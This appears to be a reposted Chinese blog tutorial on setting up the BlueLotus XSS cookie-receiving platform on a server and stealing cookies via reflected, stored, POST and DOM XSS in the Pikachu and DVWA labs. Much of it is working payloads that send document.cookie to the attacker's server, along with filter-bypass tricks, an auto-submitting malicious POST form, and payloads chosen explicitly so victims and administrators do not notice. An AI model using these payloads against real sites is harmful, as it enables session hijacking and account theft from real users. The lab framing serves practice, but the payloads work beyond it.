简单xss接收cookie平台的搭建以及xss拿cookie的一些总结
接收平臺的搭建_BlueLotus_XSSReceiver
這個是搭建教程:
打Cookie小工具_BlueLotus_XSSReceiver
鏈接:百度網盤 請輸入提取碼?提取碼:?tdoj?
我是將其搭在服務器上,模擬最真實的攻擊環境。搭在服務器上需要幾個條件,一是得有apache服務,二是得有php環境。
Linux環境搭建:CentOs + Apache + MySQL + PHP - 云+社區 - 騰訊云
下面說一下在搭建過程中踩的坑。
一、在上傳的時候直接上傳解壓好的_BlueLotus_XSSReceiver,我發現會少了三個文件,問了一下學長,可以直接上傳壓縮包到/var/www/html目錄下,然后通過命令解壓。
unzip? xxx.zip
二、在配置提交的時候,它提示xss儲存路徑沒有寫的權限.......
得在服務器上/var/www/html/BlueLotus_XSSReceiver下賦予data、template、myjs文件夾寫的權限
命令為:
chmod 777? data
?配置完上面三個文件夾,你會發現它又提示,根目錄沒有寫的權限,這時候得先返回上一級目錄,即到/var/www/html
命令為:
#返回到/var/www/html
cd? ?../
#然后賦予根目錄寫的權限
chmod? 777??BlueLotus_XSSReceiver
三、搭好平臺,在準備測試的時候,先要建立好js文件,步驟如下:
接著選擇js模塊為defalut,選擇插入模板?
對于存儲型而言,生成的payload直接插入存在xss的地方
結合皮卡丘和dvwa靶場對xss攻擊的一些總結
get反射型xss、存儲型xss
存儲型xss危害更大,一般直接在留言板這類地方輸入xss惡意代碼即可。反射型的xss得誘導受害者點擊精心準備的惡意鏈接,下面放張圖片更容易理解。
一、無過濾的情況,直接用搭建好的平臺生成的payload打
<script src="http://服務器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js"></script>
二、過濾將<script>變為空的情況,如$name = str_replace( '<script>', '', $_GET[ 'name' ] );
? ? ? ?可以采取雙寫繞過或者大小寫繞過的方式。
<script src="http://服務器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js"></scr<script>ipt>
or
<script src="http://服務器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js"></SCript>
三、直接ban死<script>的情況,如$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
?這時候可以換個標簽<img>、<iframe>標簽,<iframe>配合onerror是成功不了的,應該是<iframe>標簽加載出了文檔,頁面當成沒發生錯誤吧。?
其實我們搭建的平臺本質是利用<script>src="url"</script>加載生成好的js文件,通過js文件獲取cookie等內容然后以受害者的身份發送get請求,然后平臺接收請求并整理get請求中的cookie等信息。下面的payload是直接向我們的xss接收平臺發送請求,因為沒有<script>了,不能直接加載js文件。
<iframe src=1 οnlοad=document.location='http://服務器ip/BlueLotus_XSSReceiver?cookie='+document.cookie+'&location='+ducoment.location.href>
<img src=1 οnerrοr=document.location='http://服務器ip/BlueLotus_XSSReceiver?cookie='+document.cookie;>
?上面兩個payload的缺點是會發生跳轉,因為里面有個document.location。現象一下,一個網站存在儲存型xss,過濾死了<script>,你用上面兩種payload打。每個用戶進入存在xss的界面就會發送cookie,并發生跳轉,導致網站不能正常工作。這時候肯定有人向管理員反饋,然后修復漏洞,寄了。
那也沒有一種payload可以不知不覺發送cookie,同時網站也可以正常工作的呢?有,神技。第一個是創造一個img方法配合src的使用可以發送cookie。第二種是創造一個script,把創造出來的script加入到body子節點,最后調用xss平臺生成的js文件,js文件向平臺發送cookie。
<img src=1 οnerrοr=img=document.createElement('img');img.src='http://服務器ip/BlueLotus_XSSReceiver?cookie='+document.cookie>
<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='http://服務器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js';>
論壇xss利用打到cookie- Track 知識社區 - 掌控安全在線教育 - Powered by 掌控者
XSS漏洞 - JavaShuo
像這種<img src='http://服務器ip/BlueLotus_XSSReceiver?cookie=' +document.cookie;>的payload,我試了幾次,沒成功。
感覺好像是不會把document.cookie算入src的加載內容中,在接收平臺雖然收到了請求,但是得不到cookie的值
而上面的第一個payload則是把document.cookie算進去了
??
post反射型xss、存儲型xss
?post的話感覺也是差不多的,只是需要另外做一個惡意站點,里面有個post表單,用戶一訪問這個站點,就會自動以post的方式提交xss代碼。這個可以在服務器index.php上寫,當用戶訪問服務器ip的時候,會自動提交這個表單。
<html>
<head>
<script>
window.onload = function() {
? document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.3/pikachu-master/vul/xss/xsspost/xss_reflected_post.php">
? ? <input id="xssr_in" type="text" name="message" value=
? ? ?"<script> src="http://服務器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js">
? ? ? </script>"
? ? ? ?/>
? ? <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
DOM型xss
和前兩種xss的區別,簡單地說DOM型xss表現在前端,不與后臺服務器交互,只是通過瀏覽器的DOM樹解析產生。
皮卡丘靶場和dvwa靶機DOM型xss采取不同方式的分析
dvwa靶場DOM型xss
LOW等級直接打。
Medium等級看到源碼過濾死了<script,那換成其它的
如:<img src=1 οnerrοr=alert(11)>
可以看到我們的payload插入到value值里面,但是并沒有插入到<option>標簽中。
正常輸入一個東西是會插入到value值,也會插入到<option>標簽里面的。
所以我們得嘗試一下閉合前面的標簽,即閉合<option>和<select>標簽,修改一下發現成功了。
所以這種要拿cookie的話直接利用上面反射型xss第三類方法打就行了。
payload:
</option></select><img src=1 οnerrοr=alert(11)>
High等級使用了白名單,只允許French,English,German以及Spanish這幾個值,那這種情況可以采用注釋的方式。
因為URL中#號之后的內容,在提交表單時,被當成注釋,不會被提交到服務器。而在在瀏覽器解析時,會解析,從而實現xss。
payload:
#<script>alert(11)</script>
或者
#</option></select><img src=1 οnerrοr=alert(11)>
皮卡丘靶場DOM型xss:
直接嘗試<script>alert(11)</script>后發現在href屬性里面,直接點擊what do you see看到是會跳轉的,造成不了xss。?
?查看源代碼,搜索what do快速找到該區域,發現它的寫入方法。
我們把它單獨拿出來,構造閉合,這樣子是為了讓我們的標簽獨立出來執行。直接的"+str+"是我們可控的,想一想辦法,像下面這樣子就可以彈窗了。
?這種類型感覺有點雞肋,要獲取cookie只能讓受害者自己在輸入框輸入payload發送他的cookie到我們的平臺上.......em......有點無語。
皮卡丘靶場DOM-X型xss
這種類型和上一種不同在于這個是通過get傳值,危害性更大,攻擊者可以通過讓用戶點擊不明鏈接獲得cookie。
?做這種的時候還是得先通過源代碼搜索看一下是不是要閉合,這題和上一題的閉合方式一樣,想獲取cookie可以通過讓受害者點擊不明鏈接,這兩個dom型除了<script? src='js文件地址'></script>這種用不了,其它好像都可以用。
皮卡丘靶場的xss盲打
這個直接用我們不會發生跳轉的payload打cookie就好了。
皮卡丘靶場的xss之js輸出
隨便輸入111,看一下它是什么形式。發現在<script>標簽里面是'111',這種可以直接構造閉合。
用'</script>形成閉合,然后可以隨意執行了。
payload:
'</script><script>alert(11)</script>
打cookie的話也是通過誘導受害者點擊不明鏈接,你發現這個是get傳值的。?
皮卡丘靶場的xss之href輸出和htmlspecialchars
這兩個都是經過了htmlspecialchars過濾,只剩下單引號。
可用的方法
ENT_COMPAT -默認。僅編碼雙引號。
ENT_QUQTES -編碼雙引號和單引號
ENT_NOQUOTES -不編碼任何引號
被轉換的預定義的字符有:
&:轉換為&
":轉換為"
':轉換為成為 '
<:轉換為<
>:轉換為>
輸入特殊字符' ? "?? <?? >?,查看前端源碼,我們看到 ? "?? <?? >?? 都進行了html實體轉碼
payload:
javascript:alert(11)
' οnclick='alert(11)
可能有點師傅疑惑為什么這里不能閉合標簽,這是因為htmlspecialchars過濾了。看一下源碼,發現輸入的東西經過過濾后直接輸出到href里面了。?
對于這種修復的建議是在輸入的值那里加點過濾,只允許http或者https開頭的值輸入。這種怎么打cookie我也是沒想到。至于dvwa靶場里面的impossible等級里面也是?htmlspecialchars過濾,為什么它那里不能彈窗?這個原因是因為它輸出的值到<pre>標簽里面。
標簽的選擇
最后面放個github的標簽合集,在某些情況下,可以把它們一次改成alert(1)、alert(2)進行爆破,看看哪個標簽可以用。
https://github.com/thatqier/MyPayloads/blob/master/xss/xss_intruder.txt
嚴格過濾的情況
下面放幾個繞過技術的文件。
百度網盤 請輸入提取碼
提取碼:qaza
總結
以上是生活随笔為你收集整理的简单xss接收cookie平台的搭建以及xss拿cookie的一些总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Android高德地图poi检索仿微信发
- 下一篇: 6款办公软件,文案人员常用到